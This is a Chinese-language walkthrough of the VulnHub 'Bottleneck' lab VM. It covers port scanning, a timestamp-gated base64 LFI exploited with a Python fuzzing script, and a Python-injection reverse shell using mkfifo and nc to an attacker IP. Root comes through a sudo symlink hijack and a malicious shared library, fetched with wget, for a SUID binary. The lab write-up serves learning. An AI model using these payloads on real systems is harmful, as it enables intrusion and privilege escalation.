实战打靶集锦-33-Bottleneck
文章目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 5. 系统提权
靶机地址:https://download.vulnhub.com/bottleneck/Bottleneck.ova
1. 主机发现
目前只知道目标靶机在192.168.56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24
锁定靶机地址为192.168.56.106。
2. 端口扫描
通过下面的命令进行端口扫描
$ sudo nmap -p- 192.168.56.106
嗯,比较有意思,这个靶机只有两个端口22端口和80端口,基本要通过80端口突破了。
3. 服务枚举
通过下面的命令进行服务枚举
$ sudo nmap -p22,80 -A -sT -sV 192.168.56.106
从反馈出来的信息来看,少的可怜,没有太多可用的信息。
4. 服务探查
直接通过浏览器访问一下80端口看看。
如上图,感觉象是一个IT基础设施的监控系统。先看看页面源代码。
除了这句是刻意为之,其它没发现什么异常。直接枚举一下目录。
$ dirsearch -u http://192.168.56.106:80/
扫描出来的内容不是很多,再用dirb扫描一下试试看。
$ dirb http://192.168.56.106 /usr/share/wordlists/dirb/big.txt
扫描出来的内容类似,没有找到太合适的,挂上-X .php扫一下试试看。
扫出来了俩连接,进去看看。
/image_gallery.php如下图所示,并且貌似可以进行一些交互,如下图所示。
接着看看第二个/index.php,发现这个页面就是首页。回到前面页面,虽然鼠标悬空上去貌似能够交互,其实点击了没啥反应的,看看他的源代码。
没看到什么特别的信息,进到了死胡同,宣告本次打靶失败,上网搜索一下别人的walkthrough。
这一搜不要紧,感觉捅了马蜂窝了,看都看不懂,更别提期望我自己能够拿下靶机了。经过仔细研读,具体过程如下,这里特别感谢“墨天轮”上的大佬的文章(https://www.modb.pro/db/186828
)。
大佬就是大佬,对于/image_gallery.php页面的源代码,我愣是没看出有什么问题,大佬一眼就看出来这里可能有LFI(本地文件包含)漏洞,如下图。
直接对第二个等号后面那一串数字base64解码。
$ echo "Ym90dGxlbmVja19kb250YmUucG5n" | base64 -d
直接就是个图片文件名啊,由此可以判定这个图片文件在/img/路径下面,手工访问这个文件名。
确实可以直接访问到这个图片,并且大佬们还在burp里面发现(我咋没发现啊。。。。)每次访问/image_gallery.php的时候,都会自动的请求一次/image_gallery.php?t=1743062909&f=Ym90dGxlbmVja19kb250YmUucG5n
这个地址,并且t=后面的数字会变化,这里应该是一个UTC的时间戳。
但是当把这个完整的放到burp的repeater中重放请求的时候,发现虽然返回码是200,但返回内容是空的如下图。
说明这里的时间戳是有用的。直接借用大佬的文章中的python代码,改成python3的版本。
先构造一个用于请求的字典名为fuzz_dict.txt,内容如下图所示。
修改好的代码如下。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import datetime
import time
import requests
import base64
import argparse
# 发送请求
def sendRequest(fuzzWordlist, url):
wordlistFile = open(fuzzWordlist,'r')
for line in wordlistFile.readlines():
word = line.strip('\r').strip('\n')
# 逐行对字典中的内容进行fuzz,需要先对字典中每一行内容进行base64编码
payload = base64.b64encode(word.encode("utf-8"))
# 获取时间戳(因为我的kali与靶机的系统时间一致,使用kali系统的当前时间生成的时间戳就是靶机上的时间戳),我的kali系统时间比大北京时间慢12小时
dtime = datetime.datetime.now()
t = int(time.mktime(dtime.timetuple()))
# 命令行打印时间戳和base64编码的payload
print('timestamp:' + str(t))
print('base64:' + str(payload))
try:
# 发送请求
URL = url
print(URL)
# 定义参数
PARAMS = {
't':t,
'f':payload}
r = requests.get(url = URL, params = PARAMS)
print(r.text)
file = open("./gallery_response.txt", "a+")
# 为了方便区分请求的返回结果,加了这个
name = '--------' + word +' begin--------\r'
file.write(name)
file.write(r.content)
name = '--------' + word +' end--------\r\r'
file.write(name)
file.close()
except:
pass
def main():
# 获取命令行输入的参数
parser = argparse.ArgumentParser(description='timestamp')
# 字典的物理路径 /usr/share/wordlist/fuzzlist/wordlist.txt
parser.add_argument("--w")
# 请求的url, http://192.168.0.107/image_gallery.php
parser.add_argument("--url")
args = parser.parse_args()
url = args.url
fuzzWordlist = args.w
# 调用方法
sendRequest(fuzzWordlist, url)
if __name__ == '__main__':
main()
当我直接请求” …/…/…/…/…/…/…/…/etc/passwd”的时候,会返回如下图所示的内容。
接下来通过上面的poc代码获取一下image_gallery.php页面的sourcecode。
发现这个源代码中指示了还有一个文件image_gallery_load.php。
再次使用poc代码获取下来看看,发现了blacklist以及可以执行python脚本的地方,如下图所示。
另外,除了脚本还可以发现脚本执行的输出到了/tmp/output里面,并且这个/tmp不在黑名单blacklist中,我们继续尝试我们的poc看是否可以获取的/tmp/output的内容以及脚本的内容,字典数据如下所示。
但是获取到的返回都是空的,如下图所示。
直接按照大佬的方式构建字典,如下图。
根据大佬的分析,在timestamp正确的情况下,如果被黑名单检测到,那么就会在/tmp/output文件中生成log。由于之前我们请求了/etc/passwd文件,所以/tmp/out里面有内容才对。可是现在为什么是空的呢?这里我们把字典payload改成“/etc/passwd<?php system($_GET['cmd'])?>”再试一下。
这一次果真触发了大佬文件中的python input函数报错,如下图。
接下来就是利用这个python input函数的漏洞构建反弹shell。具体的payload为如下内容。
/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.105 4444 >/tmp/f") and'
将payload放到字典中,然后kali本地建立监听,执行一下poc代码。
反弹成功,如上图所示。既然突破边界了,下面的提权工作,争取尽量自己完成。
5. 系统提权
先优化一下shell。
$ whereis python
$ /usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"
获取一下系统信息。
$ uname -a
$ cat /etc/*-release
Ubuntu的19.04版本,直接上传并运行linpeas(我感觉我越来越懒了)。
首先,当前用户可以在不需要密码的情况下通过sudo运行bytevsbyte用户的clear_logs命令。
其次,又发现了之前经常出险的dirty_sock漏洞,如下图。
先看一下snap版本。
这个版本比较高,理论上应该是没有这个漏洞的。
第三,就是提权确认/user/bin/sudo的版本是否是有漏洞,如下图
看看我们得 sudo版本。
www-data@bottleneck:/tmp$ sudo -V
我们的sudo版本是1.8.27,searchsploit看看,有对应的漏洞,如下图。
目前来看最有可能提权的是第一个,也是最符合靶机的尿性的,我们这里重点突破一下。直接来看看这个clear_logs文件。
从这里可以看出,这个clear_logs文件是一个软链接,链接到属主为bytevsbyte用户的shell脚本clear_logs.sh。
不过这里有点小问题,首先,当前用户可以不需要密码sudo执行的是一个软链接文件,貌似干不了啥;其次就是链接的文件是clear_logs.sh,当前用户没有权限修改或者变动。直接网上搜一下软件来提权的方式。貌似不复杂,直接把软链接重新链接到一个自己造的脚本即可,接下来试试看。
首先,当前用户在/tmp目录下创建一个名为privilege_escalation.sh的脚本,内容如下。
其次,将原来的软连接/var/www/html/web_utils/clear_logs重新链接到我们新创建的文件/tmp/privilege_escalation.sh
www-data@bottleneck:~$ ln -s /tmp/privilege_escalation.sh /var/www/html/web_utils/clear_logs
接下来通过sudo执行一下试试看。
发现还是需要密码,失败了。还原回去,直接执行这个命令试试看。
加了-u没反应,不加的话还要输入密码。还是回过头去看看大佬的提权思路。在和clear_logs相同的目录下创建一个文件clear_logs_copy,并赋予可以执行权限,内容如下。
接下来修改clear_logs的软链接指向刚刚创建的clear_logs_copy文件。
ww-data@bottleneck:~/html/web_utils$ chmod u+x clear_logs_copy
www-data@bottleneck:~/html/web_utils$ ln -snf clear_logs_copy clear_logs
www-data@bottleneck:~/html/web_utils$ ls -lah
然后再用sudo指定bytevsbyte用户执行一下clear_logs指令。
仍然没有成功,后来对比大佬的打靶过程,这里的clear_logs_copy赋权限的时候u+x是不行的,要改成777权限,就好了,如下图。
顺利切换到了bytevsbyte账号,接下来直接修改一下原来的shell文件/opt/clear_logs.sh。如下图。
修改完成后保存,退出bytevsbyte账号,回到原来的账号下,修改clear_logs软连接重新指向/opt/clear_logs.sh文件。
www-data@bottleneck:~/html/web_utils$ ln -snf /opt/clear_logs.sh clear_logs
再次执行sudo。
不可行,看来没那么简单,继续回到bytevsbyte用户下,执行一下linpeas试试看。其中有两个发现比较有意思,第一个是我们之前发现的/opt/clear_logs.sh是定时执行的。
其次是发现了一个unknow SUID的二进制执行文件。
这两者结合,说不定能搞些事情出来。另外发现了之前见到过的dirty_sock,不过这里的snap仍然是2.41。看看如何用这个testlib提权吧。先看一下这个/usr/test目录下到底有些啥。
算是有点收获吧,不仅有testlib文件,还有对应的源代码,代码内容如下。
这里我是一脸懵逼,不知道怎么用C代码,更不知道怎么提权。看了前面大佬的walkthrough才知道,大致意思是这里dlsym函数调用了一个名为test_this的动态库,需要手工写个代码生成一个同名的动态库。我们在制作一个test_this.c的文件,内容如下。
通过下面的命令在kali上编译一下。
$ gcc -fPIC -shared test_this.c -o test_this.so
然后上传到靶机的/usr/test目录下。
看来不能放到这个目录下,先放到/tmp/目录下,然后赋予777的权限。
bytevsbyte@bottleneck:/usr/test$ wget http://192.168.56.105:5555/test_this.so -O /tmp/test_this.so
bytevsbyte@bottleneck:/usr/test$ chmod 777 /tmp/test_this.so
然后根据大佬的文章,直接运行/usr/test/testlib就可以提权
可是我这里提权失败,随后按照大佬的做法,两个命令放到一起执行,如下图。
仍然没有成功,加上sudo试试看。
仍然失败。回过头去仔细看大佬的walkthrough,发现他图中的git上的代码是有些问题的,应该参照其贴出来的代码,下图是比对(左边是git上代码,右边是实际的代码)。
修改后重新编译并上传,赋予777权限,然后执行。
顺利提权,看看id和flag。
确认提权成功,打靶结束。感概一下,这是迄今为止经历过的最曲折的一次打靶。